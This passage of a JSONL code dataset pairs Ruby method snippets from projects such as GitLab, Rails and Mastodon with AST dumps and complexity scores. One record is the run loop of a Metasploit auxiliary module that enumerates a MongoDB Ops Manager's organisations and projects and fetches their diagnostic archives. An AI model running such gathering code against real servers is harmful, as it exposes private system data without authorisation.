end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument_rack_attack\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rack_attack_redis_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"Subscribers\"]},\"RackAttack\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rack_attack_redis_count\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rack_attack_redis_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"Subscribers\"]},\"RackAttack\"]},\"payload\"]}]}]}]}","id":"fedd4604-1b02-4fc9-896b-c79a307ec62f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_middleware/concurrency_limit/limit_manager_spec.rb","start_line":68,"raw_source":"def with_redis(&block)\n    Gitlab::Redis::QueuesMetadata.with(&block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redis\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"QueuesMetadata\"]},\"with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"e259ef93-eb06-43e6-bed0-9cff13474a88"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":2491,"raw_source":"def test_joins_with_namespaced_model_should_use_correct_type\n    old = ActiveRecord::Base.store_full_sti_class\n    ActiveRecord::Base.store_full_sti_class = true\n\n    firm = Namespaced::Firm.create(name: \"Some Company\")\n    firm.clients.create(name: \"Some Client\")\n\n    stats = Namespaced::Firm.all.merge!(\n      select: \"#{Namespaced::Firm.table_name}.id, COUNT(#{Namespaced::Client.table_name}.id) AS num_clients\",\n      joins: :clients,\n      group: \"#{Namespaced::Firm.table_name}.id\"\n    ).find firm.id\n    assert_equal 1, stats.num_clients.to_i\n  ensure\n    ActiveRecord::Base.store_full_sti_class = old\n  end","complexity_score":23.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_joins_with_namespaced_model_should_use_correct_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"store_full_sti_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"store_full_sti_class=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaced\"]},\"Firm\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Some Company\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Some Client\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stats\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaced\"]},\"Firm\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"select\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaced\"]},\"Firm\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id, COUNT(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaced\"]},\"Client\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id) AS num_clients\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"joins\"]},{\"type\":\"sym\",\"children\":[\"clients\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaced\"]},\"Firm\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id\"]}]}]}]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"num_clients\"]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"store_full_sti_class=\",{\"type\":\"lvar\",\"children\":[\"old\"]}]}]}]}","id":"c022f08d-a76b-4e32-8a17-94426ff0f1be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/channels/application_cable/logging.rb","start_line":7,"raw_source":"def notification_payload(_)\n      super.merge!(\n        Labkit::Fields::CORRELATION_ID => request.request_id,\n        user_id: current_user&.id,\n        username: current_user&.username,\n        remote_ip: request.remote_ip,\n        ua: request.env['HTTP_USER_AGENT']\n      )\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"notification_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Labkit\"]},\"Fields\"]},\"CORRELATION_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"request_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_USER_AGENT\"]}]}]}]}]}]}","id":"cf8786c0-385d-4d30-af83-b85872957cad"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/workers/evm_server.rb","start_line":102,"raw_source":"def set_process_title\n    Process.setproctitle(SERVER_PROCESS_TITLE) if Process.respond_to?(:setproctitle)\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_process_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"setproctitle\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"setproctitle\",{\"type\":\"const\",\"children\":[null,\"SERVER_PROCESS_TITLE\"]}]},null]}]}","id":"175c1610-2b77-4931-b298-0599e4c07a6e"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/haml_template_processor.rb","start_line":172,"raw_source":"def fix_textareas? exp\n    call? exp and\n      exp.target == HAMLOUT and\n      exp.method == :fix_textareas! \n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fix_textareas?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"HAMLOUT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"fix_textareas!\"]}]}]}]}","id":"6f4c75aa-81b3-4141-9f08-5e9f3d95f5b6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/filters/statuses_controller.rb","start_line":12,"raw_source":"def index\n    @status_filter_batch_action = Form::StatusFilterBatchAction.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@status_filter_batch_action\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Form\"]},\"StatusFilterBatchAction\"]},\"new\"]}]}]}","id":"c556e3e9-04cb-45b1-9023-3ccca6dcd6e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/notes_actions.rb","start_line":25,"raw_source":"def index\n    notes, meta = gather_all_notes\n    notes = prepare_notes_for_rendering(notes)\n    notes = notes.select { |n| n.readable_by?(current_user) }\n    notes =\n      if use_note_serializer?\n        note_serializer.represent(notes)\n      else\n        notes.map { |note| note_json(note) }\n      end\n\n    render json: meta.merge(notes: notes)\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notes\"]},{\"type\":\"lvasgn\",\"children\":[\"meta\"]}]},{\"type\":\"send\",\"children\":[null,\"gather_all_notes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"notes\",{\"type\":\"send\",\"children\":[null,\"prepare_notes_for_rendering\",{\"type\":\"lvar\",\"children\":[\"notes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"readable_by?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_note_serializer?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note_serializer\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"notes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"send\",\"children\":[null,\"note_json\",{\"type\":\"lvar\",\"children\":[\"note\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meta\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notes\"]},{\"type\":\"lvar\",\"children\":[\"notes\"]}]}]}]}]}]}]}]}]}","id":"03e6edd0-019b-44b4-8251-9544df75465b"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/lib/zeitwerk/loader/config.rb","start_line":247,"raw_source":"def on_load(cpath = :ANY, &block)\n    raise TypeError, \"on_load only accepts strings\" unless cpath.is_a?(String) || cpath == :ANY\n\n    mutex.synchronize do\n      (on_load_callbacks[cpath] ||= []) << block\n    end\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_load\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cpath\",{\"type\":\"sym\",\"children\":[\"ANY\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cpath\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cpath\"]},\"==\",{\"type\":\"sym\",\"children\":[\"ANY\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeError\"]},{\"type\":\"str\",\"children\":[\"on_load only accepts strings\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_load_callbacks\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"cpath\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"ab65be88-13ed-4b60-9a25-85a47fed4739"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.rb","start_line":197,"raw_source":"def run\n    vprint_status('Checking for orgs')\n    orgs = get_orgs\n    orgs['results'].each do |org|\n      org = org['id']\n      vprint_status(\"Looking for projects in org #{org}\")\n      projects = get_projects(org)\n      projects.each do |project|\n        vprint_good(\"  Found project: #{project['name']} (#{project['id']})\")\n        get_diagnostic_archive(project['id'])\n      end\n    end\n  end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Checking for orgs\"]}]},{\"type\":\"lvasgn\",\"children\":[\"orgs\",{\"type\":\"send\",\"children\":[null,\"get_orgs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orgs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"results\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"org\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"org\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"org\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Looking for projects in org \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"org\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"send\",\"children\":[null,\"get_projects\",{\"type\":\"lvar\",\"children\":[\"org\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  Found project: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get_diagnostic_archive\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]}]}]}]}","id":"4c36f6ae-5629-4893-8786-0edd77898788"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb","start_line":238,"raw_source":"def verify_milestones_import\n        logger.info(\"== Verifying milestones import ==\")\n        expect(milestones).to match_array(source_milestones)\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_milestones_import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"== Verifying milestones import ==\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"milestones\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"match_array\",{\"type\":\"send\",\"children\":[null,\"source_milestones\"]}]}]}]}]}","id":"7725276d-10bd-47a3-a631-80e97c4c2445"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/parentheses_around_condition.rb","start_line":62,"raw_source":"def on_if(node)\n          return if node.ternary?\n\n          process_control_op(node)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"process_control_op\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"92371d29-2945-4fd3-8abe-26f2be74686b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":688,"raw_source":"def test_should_preserve_array_class_when_hash_value_is_frozen_array\n    array = SubclassingArray.new\n    array << { \"address\" => \"1\" }\n    hash = { \"urls\" => { \"url\" => array.freeze } }.with_indifferent_access\n    assert_equal SubclassingArray, hash[:urls][:url].class\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_preserve_array_class_when_hash_value_is_frozen_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"array\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubclassingArray\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"address\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"urls\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"freeze\"]}]}]}]}]},\"with_indifferent_access\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"SubclassingArray\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"urls\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]},\"class\"]}]}]}]}","id":"bcf9df10-183f-41b3-a69f-d3936e17c8cb"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/model_methods.rb","start_line":10,"raw_source":"def refresh!\n          RubyLLM.models.refresh!\n\n          transaction do\n            RubyLLM.models.all.each do |model_info|\n              model = find_or_initialize_by(\n                model_id: model_info.id,\n                provider: model_info.provider\n              )\n              model.update!(from_llm_attributes(model_info))\n            end\n          end\n        end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"models\"]},\"refresh!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"models\"]},\"all\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[null,\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_info\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_info\"]},\"provider\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"update!\",{\"type\":\"send\",\"children\":[null,\"from_llm_attributes\",{\"type\":\"lvar\",\"children\":[\"model_info\"]}]}]}]}]}]}]}]}","id":"019e77a5-f411-49dc-a3e5-60590a7b6bdb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/known_operations.rb","start_line":31,"raw_source":"def from_query(query)\n        operation_name = query.selected_operation_name\n\n        return UNKNOWN unless operation_name\n\n        @operation_hash[operation_name] || UNKNOWN\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"from_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"operation_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"selected_operation_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation_name\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNKNOWN\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operation_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"operation_name\"]}]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN\"]}]}]}]}","id":"92228a57-a63d-4c41-96b3-117c43d14d61"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250522182703_add_index_to_targeted_message_id_targeted_message_dismissals.rb","start_line":18,"raw_source":"def down\n    add_concurrent_index(TABLE_NAME, [:user_id], name: OLD_INDEX_NAME)\n\n    remove_concurrent_index_by_name(TABLE_NAME, NEW_INDEX_NAME)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"OLD_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"NEW_INDEX_NAME\"]}]}]}]}","id":"c74689fa-dbf0-48b7-bfe6-42015a9f4673"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/arel/support/fake_record.rb","start_line":136,"raw_source":"def lease_connection\n      connection_pool.lease_connection\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lease_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection_pool\"]},\"lease_connection\"]}]}","id":"2ce8527f-4132-4726-8b71-bb9188b159d3"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/profile_formatter.rb","start_line":57,"raw_source":"def format_caller(caller_info)\n          RSpec.configuration.backtrace_formatter.backtrace_line(\n            caller_info.to_s.split(':in `block').first)\n        end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"format_caller\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"caller_info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configuration\"]},\"backtrace_formatter\"]},\"backtrace_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller_info\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\":in `block\"]}]},\"first\"]}]}]}","id":"2ab8f0e3-45ea-4625-811d-5e6bbd9f14f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack/request_throttle_data.rb","start_line":145,"raw_source":"def remaining\n        (limit > observed ? limit - observed : 0)\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remaining\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit\"]},\">\",{\"type\":\"send\",\"children\":[null,\"observed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"observed\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"9f90c296-0fcf-4afb-ae84-68f965732f83"}
